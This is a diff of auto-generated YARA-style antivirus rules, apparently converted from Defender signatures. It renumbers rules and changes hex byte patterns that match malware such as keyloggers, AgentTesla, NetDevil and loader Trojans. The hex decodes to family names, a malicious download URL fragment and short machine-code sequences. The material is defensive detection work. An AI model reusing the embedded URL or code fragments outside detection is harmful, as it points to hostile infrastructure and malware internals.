+ $a_72_2 = {6c 6f 67 01 00 11 01 4c 6f 67 67 69 6e 67 20 6f 75 74 70 75 74 20 74 6f 01 00 0b 01 5b 42 41 43 4b 53 50 41 43 45 5d 01 00 05 01 5b 54 41 42 5d 01 00 07 01 5b 53 48 49 46 54 5d 01 00 08 01 5b 45 53 43 41 50 45 5d 01 00 06 01 5b 48 4f 4d 45 5d 00 00 78 8d 00 00 08 00 08 00 05 00 21 23 54 45 4c 3a 54 72 } //26471 + $a_6e_3 = {57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 5a 56 52 21 4d 54 42 00 04 00 22 80 01 3a 2f 2f 62 69 72 74 68 64 61 79 72 65 77 61 72 64 2e 78 79 7a 2f 78 63 78 73 2e 70 68 70 3f 70 65 3d 01 00 07 80 01 2f 73 69 6c 65 6e 74 01 00 0d 80 01 2f 77 65 61 6b 73 65 63 75 72 69 74 79 01 00 0a 80 } //27247 + $a_6f_4 = {6f 6f 6b 69 65 73 01 00 07 80 01 2f 72 65 73 75 6d 65 00 00 78 8d 00 00 09 00 09 00 05 00 21 23 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 49 49 6d 70 65 72 73 6f 6e 61 74 6f 72 2e 41 00 02 00 0b 80 01 4f 70 65 6e 53 65 72 76 69 63 65 02 00 10 80 01 54 72 75 73 74 65 64 49 6e 73 74 61 6c 6c 65 72 02 00 0b 80 01 4f 70 65 6e 50 72 } //12033 + $a_73_5 = {02 00 19 80 01 55 70 64 61 74 65 50 72 6f 63 54 68 72 65 61 64 41 74 74 72 69 62 75 74 65 01 00 0d 80 01 43 72 65 61 74 65 50 72 6f 63 65 73 73 00 00 78 8d 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 33 21 4d 54 42 00 0a 00 5b } //25455 condition: - ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*25924+(#a_72_2 & 1)*26471+(#a_6e_3 & 1)*22330+(#a_72_4 & 1)*384+(#a_01_5 & 1)*1546) >=6 + ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*25924+(#a_72_2 & 1)*26471+(#a_6e_3 & 1)*27247+(#a_6f_4 & 1)*12033+(#a_73_5 & 1)*25455) >=6 } -rule _InfrastructureShared_9523{ +rule _InfrastructureShared_10123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4b 65 79 4c 6f 67 67 65 72 2e 43 43 49 44 21 4d 54 42 00 01 00 0d 01 6b 65 79 6c 6f 67 67 65 72 2e 6c 6f 67 01 00 11 01 4c 6f 67 67 69 6e 67 20 6f 75 74 70 75 74 20 74 } //21539 - $a_41_2 = {4b 53 50 41 43 45 5d 01 00 05 01 5b 54 41 42 5d 01 00 07 01 5b 53 48 49 46 54 5d 01 00 08 01 5b 45 53 43 41 50 45 5d 01 00 06 01 5b 48 4f 4d 45 5d 00 00 78 8d 00 00 09 00 09 00 05 00 21 23 54 72 6f } //23297 - $a_3a_3 = {69 6e 33 32 2f 54 49 49 6d 70 65 72 73 6f 6e 61 74 6f 72 2e 41 00 02 00 0b 80 01 4f 70 65 6e 53 65 72 76 69 63 65 02 00 10 80 01 54 72 75 73 74 65 64 49 6e 73 74 61 6c 6c 65 72 02 00 0b 80 01 4f 70 65 6e 50 72 6f 63 65 73 73 02 00 19 80 01 55 70 64 61 74 65 50 72 6f 63 54 68 72 65 61 64 41 74 74 72 69 62 75 74 65 01 00 0d 80 01 } //24938 - $a_61_4 = {65 50 72 6f 63 65 73 73 00 00 78 8d 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 33 21 4d 54 42 00 0a 00 5b 02 06 17 58 0a 06 90 01 02 01 00 00 5d 0a 08 11 06 06 94 58 0c 08 90 01 02 01 00 00 5d 0c 11 06 06 94 13 04 11 06 06 11 } //29251 - $a_9e_5 = {06 08 11 04 9e 11 06 11 06 06 94 11 06 08 94 58 90 01 02 01 00 00 5d 94 0d 11 07 07 11 08 07 91 09 61 d2 9c 07 17 58 0b 07 11 08 8e 69 90 00 00 00 78 8d 00 00 0c 00 0c 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 46 58 21 4d 54 42 00 0a 00 39 02 03 11 04 18 28 90 01 04 28 90 01 04 28 90 01 04 04 08 6f 90 01 04 28 90 01 04 6a 61 b7 28 90 01 04 28 90 01 04 13 05 20 00 00 00 00 38 90 } //2054 - $a_05_6 = {6f 90 01 04 26 90 00 02 00 1c 80 01 48 65 62 72 65 } //1281 + $a_41_2 = {4b 53 50 41 43 45 5d 01 00 05 01 5b 54 41 42 5d 01 00 07 01 5b 53 48 49 46 54 5d 01 00 08 01 5b 45 53 43 41 50 45 5d 01 00 06 01 5b 48 4f 4d 45 5d 00 00 78 8d 00 00 08 00 08 00 05 00 21 23 54 45 4c } //23297 + $a_6f_3 = {61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 5a 56 52 21 4d 54 42 00 04 00 22 80 01 3a 2f 2f 62 69 72 74 68 64 61 79 72 65 77 61 72 64 2e 78 79 7a 2f 78 63 78 73 2e 70 68 70 3f 70 65 3d 01 00 07 80 01 2f 73 69 6c 65 6e 74 01 00 0d 80 01 2f 77 65 61 6b 73 65 63 75 72 69 74 79 01 00 0a 80 01 2f 6e 6f 63 6f 6f 6b 69 65 73 01 00 07 } //21562 + $a_72_4 = {73 75 6d 65 00 00 78 8d 00 00 09 00 09 00 05 00 21 23 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 49 49 6d 70 65 72 73 6f 6e 61 74 6f 72 2e 41 } //384 + $a_70_6 = {6e 53 65 72 76 69 63 65 02 00 10 80 01 54 72 75 73 74 65 64 49 6e 73 74 61 6c 6c 65 72 02 00 0b 80 01 4f 70 65 6e 50 72 6f 63 65 73 73 02 00 19 80 01 55 70 64 61 74 65 50 72 6f 63 54 68 72 65 61 64 41 74 74 72 69 62 75 74 65 01 00 0d 80 } //384 condition: - ((#a_4c_0 & 1)*21539+(#a_41_2 & 1)*23297+(#a_3a_3 & 1)*24938+(#a_61_4 & 1)*29251+(#a_9e_5 & 1)*2054+(#a_05_6 & 1)*1281) >=7 + ((#a_4c_0 & 1)*21539+(#a_41_2 & 1)*23297+(#a_6f_3 & 1)*21562+(#a_72_4 & 1)*384+(#a_70_6 & 1)*384) >=7 } -rule _InfrastructureShared_9524{ +rule _InfrastructureShared_10124{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 5a 56 52 21 4d 54 42 00 04 00 22 80 01 3a 2f 2f 62 69 72 74 68 64 61 79 72 65 77 61 72 64 2e 78 79 7a 2f 78 63 78 73 2e 70 68 70 3f 70 65 } //21539 + $a_73_2 = {6c 65 6e 74 01 00 0d 80 01 2f 77 65 61 6b 73 65 63 75 72 69 74 79 01 00 0a 80 01 2f 6e 6f 63 6f 6f 6b 69 65 73 01 00 07 80 01 2f 72 65 73 75 } //384 + condition: + ((#a_4c_0 & 1)*21539+(#a_73_2 & 1)*384) >=8 + +} +rule _InfrastructureShared_10125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 05 00 21 " @@ -102504,7 +109085,7 @@ rule _InfrastructureShared_9524{ ((#a_6f_0 & 1)*21539+(#a_61_1 & 1)*29251+(#a_9e_2 & 1)*2054+(#a_05_3 & 1)*1281+(#a_6d_4 & 1)*20087) >=9 } -rule _InfrastructureShared_9525{ +rule _InfrastructureShared_10126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -102514,7 +109095,7 @@ rule _InfrastructureShared_9525{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_9526{ +rule _InfrastructureShared_10127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -102525,7 +109106,7 @@ rule _InfrastructureShared_9526{ ((#a_54_0 & 1)*18467+(#a_05_1 & 1)*1281) >=12 } -rule _InfrastructureShared_9527{ +rule _InfrastructureShared_10128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -102536,7 +109117,7 @@ rule _InfrastructureShared_9527{ ((#a_46_0 & 1)*16675+(#a_46_2 & 1)*21249) >=12 } -rule _InfrastructureShared_9528{ +rule _InfrastructureShared_10129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -102548,21 +109129,42 @@ rule _InfrastructureShared_9528{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*82+(#a_81_3 & 1)*1) >=13 } -rule _InfrastructureShared_9529{ +rule _InfrastructureShared_10130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 44 32 30 32 21 4d 54 42 00 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 08 81 01 47 65 74 50 69 78 65 6c 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 07 81 01 54 6f 57 69 6e } //18467 $a_00_1 = {25 81 01 24 41 37 35 41 39 33 } //12851 - $a_43_2 = {36 34 2d 34 32 36 35 2d 42 41 41 35 2d 43 36 34 38 42 30 34 35 46 35 32 30 00 00 78 8d 00 00 0f 00 0f 00 06 00 21 23 48 53 54 52 3a 54 } //13379 - $a_61_3 = {3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 49 44 34 39 21 4d 54 42 00 01 00 07 81 01 54 6f 49 6e 74 33 32 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 0a 00 16 81 01 37 48 37 35 46 50 35 43 38 59 53 55 31 35 34 37 38 47 38 56 35 47 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 07 81 01 47 65 74 54 79 70 65 } //28530 - $a_81_4 = {67 65 74 5f 43 68 61 72 73 } //1 get_Chars + $a_43_2 = {36 34 2d 34 32 36 35 2d 42 41 41 35 2d 43 36 34 38 42 30 34 35 46 35 32 30 00 00 78 8d 00 00 0f 00 0f 00 02 00 21 23 54 45 4c 3a 54 72 } //13379 + $a_6e_3 = {57 69 6e 33 32 2f 43 6f 6e 76 61 67 65 6e 74 2e 4b 4b 21 4d 54 42 00 0a 00 3b 03 48 85 c0 0f 84 90 01 02 00 00 0f 10 05 90 01 02 03 00 0f 11 40 1a 0f 10 05 90 01 02 03 00 0f 11 40 10 0f 10 05 90 01 02 03 00 48 89 85 90 01 01 05 00 00 0f 11 00 48 8d 4d 90 00 05 00 1e 01 46 72 65 65 6c 61 6e } //27247 + $a_5f_4 = {6f 6e 74 72 61 63 74 5f 56 69 65 77 65 72 2e 70 64 62 00 00 78 8d 00 00 0f 00 0f 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 4b 4b 41 21 4d 54 42 00 0a 00 28 03 74 26 4c 8d 0d 90 01 03 00 66 0f 1f 44 00 00 33 d2 48 8b c1 49 f7 f0 42 0f b6 04 0a 41 30 04 0b 48 ff c1 48 3b cb 90 00 05 00 35 01 c7 44 24 30 } //25955 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*12851+(#a_43_2 & 1)*13379+(#a_61_3 & 1)*28530+(#a_81_4 & 1)*1) >=14 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*12851+(#a_43_2 & 1)*13379+(#a_6e_3 & 1)*27247+(#a_5f_4 & 1)*25955) >=14 } -rule _InfrastructureShared_9530{ +rule _InfrastructureShared_10131{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 6e 76 61 67 65 6e 74 2e 4b 4b 21 4d 54 42 00 0a 00 3b 03 48 85 c0 0f 84 90 01 02 00 00 0f 10 05 90 01 02 03 00 0f 11 40 1a 0f 10 05 90 01 02 03 00 0f 11 40 10 0f } //21539 + $a_01_1 = {02 03 00 48 89 85 90 01 01 05 00 00 0f 11 00 48 8d 4d 90 00 05 00 1e 01 46 72 65 65 6c 61 6e 63 65 72 5f 43 6f 6e 74 72 61 63 74 5f 56 69 65 77 65 72 2e 70 64 62 00 00 78 8d 00 00 0f 00 0f 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 4b 4b 41 21 4d 54 42 00 0a 00 28 03 74 26 4c 8d 0d 90 01 03 00 66 0f 1f 44 00 00 33 d2 48 8b c1 49 f7 f0 42 0f b6 04 0a 41 30 04 0b 48 ff c1 48 3b cb 90 00 05 00 } //1296 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1296) >=15 + +} +rule _InfrastructureShared_10132{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 4b 4b 41 21 4d 54 42 00 0a 00 28 03 74 26 4c 8d 0d 90 01 03 00 66 0f 1f 44 00 00 33 d2 48 8b c1 49 f7 f0 42 0f b6 04 0a 41 30 04 0b 48 ff c1 48 3b cb 90 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=15 + +} +rule _InfrastructureShared_10133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -102577,7 +109179,7 @@ rule _InfrastructureShared_9530{ ((#a_54_0 & 1)*18467+(#a_35_1 & 1)*14407+(#a_00_2 & 1)*66+(#a_0b_3 & 1)*400+(#a_8d_4 & 1)*1044+(#a_6f_5 & 1)*28279) >=15 } -rule _InfrastructureShared_9531{ +rule _InfrastructureShared_10134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -102590,7 +109192,7 @@ rule _InfrastructureShared_9531{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*10759+(#a_01_2 & 1)*10+(#a_01_3 & 1)*1) >=16 } -rule _InfrastructureShared_9532{ +rule _InfrastructureShared_10135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 03 00 21 " @@ -102602,23 +109204,23 @@ rule _InfrastructureShared_9532{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*27747+(#a_2d_2 & 1)*1536) >=21 } -rule _InfrastructureShared_9533{ +rule _InfrastructureShared_10136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,23 00 23 00 07 00 21 " strings : $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 42 75 72 69 65 64 52 65 6c 69 63 2e 41 21 64 68 61 00 05 00 06 01 2d 61 67 65 6e 74 05 00 07 01 2d 73 74 61 74 75 73 05 00 08 01 2d 6e 6f 74 69 74 6c 65 05 00 13 01 4c 69 76 } //16675 $a_67_1 = {48 6f 73 74 20 46 69 6e 69 73 68 05 00 0a 01 2d 72 61 77 68 65 61 64 65 72 05 00 06 01 2d 63 68 6b 66 77 05 00 07 01 2d 6e 6f 61 75 74 6f 00 00 78 8d 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 50 75 70 70 65 74 73 46 69 76 65 2e 41 21 64 68 61 00 64 00 23 43 31 c9 eb 14 0f b6 90 01 03 } //26981 - $a_01_2 = {03 31 d6 40 88 90 01 03 48 ff c1 48 83 f9 90 03 01 01 03 08 90 00 64 00 0d 01 67 6f 2d 73 6f 63 6b 73 35 2e 4e 65 77 64 00 22 01 67 6f 2d 73 6f 63 6b 73 35 2e 28 2a 53 65 72 76 65 72 29 2e 4c 69 73 74 65 6e 41 6e 64 53 65 72 76 65 00 00 78 8d 00 00 64 00 64 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 69 66 74 54 69 6d 65 6c 79 2e 47 65 6e 00 64 00 33 03 48 63 44 24 18 48 8b 4c 24 08 0f be 04 01 } //-18929 - $a_01_3 = {01 48 63 4c 24 18 48 8b 14 24 0f be 0c 0a 33 c1 48 63 4c 24 18 48 8b 54 24 10 88 04 0a eb bd 90 00 64 00 25 03 8b 4d f8 03 4d f0 0f be 11 83 ea 90 01 01 8b 45 fc 03 45 f0 0f be 08 33 d1 8b 45 f4 03 45 f0 88 10 eb ce 90 00 00 00 78 8d 00 00 c8 00 c8 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 36 34 2f 53 6c 6f 77 50 75 6c 73 65 2e 47 21 64 68 61 00 64 00 20 03 b8 4d 5a 00 00 66 39 01 0f } //-6013 - $a_04_4 = {48 } //-28539 H - $a_01_5 = {3c } //-28573 < - $a_02_6 = {08 01 } //-28600 Ĉ + $a_01_2 = {03 31 d6 40 88 90 01 03 48 ff c1 48 83 f9 90 03 01 01 03 08 90 00 64 00 0d 01 67 6f 2d 73 6f 63 6b 73 35 2e 4e 65 77 64 00 22 01 67 6f 2d 73 6f 63 6b 73 35 2e 28 2a 53 65 72 76 65 72 29 2e 4c 69 73 74 65 6e 41 6e 64 53 65 72 76 65 00 00 78 8d 00 00 41 00 41 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4e 65 74 44 65 76 69 6c 2e 41 48 42 21 4d 54 42 00 1e 00 1d 01 8b 38 ff 57 0c 8b 95 5c fe ff ff 8b c6 8b 08 } //-18929 + $a_8b_3 = {8b 10 ff 52 14 83 f8 64 75 14 00 17 01 66 e7 70 66 89 c3 66 b8 00 00 66 e7 71 66 89 d8 66 40 66 83 f8 3f 75 0a 00 0f 01 52 30 58 5f 47 45 54 5f 50 43 5f 49 } //20991 + $a_05_4 = {00 0e 01 52 30 58 5f 4d 4f 4e 49 54 4f 52 5f 4f 4e 00 00 78 8d 00 00 64 00 64 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 69 66 74 54 69 6d 65 6c 79 2e 47 65 6e 00 64 00 33 03 48 63 44 24 18 48 8b 4c 24 } //17998 + $a_04_5 = {01 83 e8 90 01 01 48 63 4c 24 18 48 8b 14 24 0f be 0c 0a 33 c1 48 63 4c 24 18 48 8b 54 24 10 88 04 0a eb bd 90 00 64 00 25 03 8b 4d f8 03 4d f0 0f be 11 83 ea 90 01 01 8b 45 fc 03 45 f0 0f be 08 33 d1 8b 45 f4 03 45 f0 88 10 eb ce 90 00 00 00 78 8d 00 00 c8 00 c8 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 36 34 2f 53 6c 6f 77 50 75 6c 73 65 2e 47 21 64 68 61 00 64 00 20 03 b8 4d 5a 00 00 66 39 01 0f 85 90 01 04 48 63 90 01 01 3c 48 90 02 02 08 01 00 00 48 3b d0 90 00 64 00 30 01 54 69 67 68 74 56 4e 43 5c 74 69 67 68 74 } //3848 + $a_2d_6 = {61 69 6e 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 74 76 6e 76 69 65 77 65 72 2e 70 64 62 00 00 78 8e 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 53 61 6c 73 61 46 72 61 6d 65 2e 41 21 64 68 61 00 01 00 54 42 c7 45 f8 65 78 70 61 56 } //28278 condition: - ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*26981+(#a_01_2 & 1)*-18929+(#a_01_3 & 1)*-6013+(#a_04_4 & 1)*-28539+(#a_01_5 & 1)*-28573+(#a_02_6 & 1)*-28600) >=35 + ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*26981+(#a_01_2 & 1)*-18929+(#a_8b_3 & 1)*20991+(#a_05_4 & 1)*17998+(#a_04_5 & 1)*3848+(#a_2d_6 & 1)*28278) >=35 } -rule _InfrastructureShared_9534{ +rule _InfrastructureShared_10137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -102629,7 +109231,20 @@ rule _InfrastructureShared_9534{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*28519) >=300 } -rule _InfrastructureShared_9535{ +rule _InfrastructureShared_10138{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,41 00 41 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4e 65 74 44 65 76 69 6c 2e 41 48 42 21 4d 54 42 00 1e 00 1d 01 8b 38 ff 57 0c 8b 95 5c fe ff ff 8b c6 8b 08 ff 51 34 8b c6 8b 10 ff 52 14 83 f8 64 75 14 00 17 01 66 e7 } //21539 + $a_c3_1 = {b8 00 00 66 e7 71 66 89 d8 66 40 66 83 f8 3f 75 0a 00 0f 01 52 30 58 5f 47 45 54 5f 50 43 5f 49 4e 46 4f 05 00 0e 01 52 30 58 5f 4d 4f 4e 49 54 4f 52 5f 4f 4e 00 00 78 8d 00 00 64 00 64 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 69 66 74 54 69 6d 65 6c 79 2e 47 65 6e 00 64 00 33 03 48 63 44 24 18 48 8b 4c 24 08 0f be 04 01 83 e8 90 01 01 48 63 4c 24 18 48 8b 14 24 0f be 0c } //26224 + $a_48_2 = {4c 24 18 48 8b 54 24 10 88 04 0a eb bd 90 00 64 00 25 03 8b 4d f8 03 4d f0 0f be 11 83 ea 90 01 01 8b 45 fc 03 45 f0 0f be 08 33 d1 8b 45 f4 03 45 f0 88 10 eb ce 90 00 00 00 78 8d 00 00 c8 00 c8 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 36 34 2f 53 6c 6f 77 50 75 6c 73 65 2e 47 21 64 68 61 00 64 00 20 03 b8 4d 5a 00 00 66 39 01 0f 85 90 01 04 48 63 90 01 01 3c 48 90 02 02 08 01 00 00 48 3b d0 90 00 64 00 30 01 54 69 67 68 74 56 4e 43 5c 74 69 67 68 74 76 6e 63 2d 6d 61 69 6e 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 74 76 6e 76 69 } //13066 + $a_72_3 = {70 64 62 00 00 78 8e 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 53 61 6c 73 61 46 72 61 6d 65 2e 41 21 64 68 61 00 01 00 54 42 c7 45 f8 65 78 70 61 56 8b f1 88 45 fc 8d 4d f8 c7 45 f0 6e 64 20 33 88 45 f4 c7 45 e8 32 2d 62 79 88 45 ec } //30565 + condition: + ((#a_4c_0 & 1)*21539+(#a_c3_1 & 1)*26224+(#a_48_2 & 1)*13066+(#a_72_3 & 1)*30565) >=65 + +} +rule _InfrastructureShared_10139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 02 00 21 " @@ -102640,7 +109255,7 @@ rule _InfrastructureShared_9535{ ((#a_46_0 & 1)*16675+(#a_88_1 & 1)*9300) >=100 } -rule _InfrastructureShared_9536{ +rule _InfrastructureShared_10140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -102651,7 +109266,7 @@ rule _InfrastructureShared_9536{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*12288) >=200 } -rule _InfrastructureShared_9537{ +rule _InfrastructureShared_10141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -102661,7 +109276,7 @@ rule _InfrastructureShared_9537{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9538{ +rule _InfrastructureShared_10142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -102671,7 +109286,7 @@ rule _InfrastructureShared_9538{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9539{ +rule _InfrastructureShared_10143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -102681,7 +109296,7 @@ rule _InfrastructureShared_9539{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9540{ +rule _InfrastructureShared_10144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -102691,7 +109306,7 @@ rule _InfrastructureShared_9540{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9541{ +rule _InfrastructureShared_10145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -102701,7 +109316,7 @@ rule _InfrastructureShared_9541{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9542{ +rule _InfrastructureShared_10146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -102711,7 +109326,7 @@ rule _InfrastructureShared_9542{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9543{ +rule _InfrastructureShared_10147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -102721,7 +109336,7 @@ rule _InfrastructureShared_9543{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9544{ +rule _InfrastructureShared_10148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -102731,7 +109346,7 @@ rule _InfrastructureShared_9544{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9545{ +rule _InfrastructureShared_10149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -102741,7 +109356,7 @@ rule _InfrastructureShared_9545{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9546{ +rule _InfrastructureShared_10150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -102751,7 +109366,7 @@ rule _InfrastructureShared_9546{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9547{ +rule _InfrastructureShared_10151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -102761,7 +109376,7 @@ rule _InfrastructureShared_9547{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9548{ +rule _InfrastructureShared_10152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -102771,7 +109386,7 @@ rule _InfrastructureShared_9548{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9549{ +rule _InfrastructureShared_10153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -102781,7 +109396,7 @@ rule _InfrastructureShared_9549{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_9550{ +rule _InfrastructureShared_10154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -102791,7 +109406,7 @@ rule _InfrastructureShared_9550{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_9551{ +rule _InfrastructureShared_10155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -102801,7 +109416,7 @@ rule _InfrastructureShared_9551{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_9552{ +rule _InfrastructureShared_10156{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -102812,7 +109427,7 @@ rule _InfrastructureShared_9552{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25712) >=1 } -rule _InfrastructureShared_9553{ +rule _InfrastructureShared_10157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -102823,7 +109438,7 @@ rule _InfrastructureShared_9553{ ((#a_46_0 & 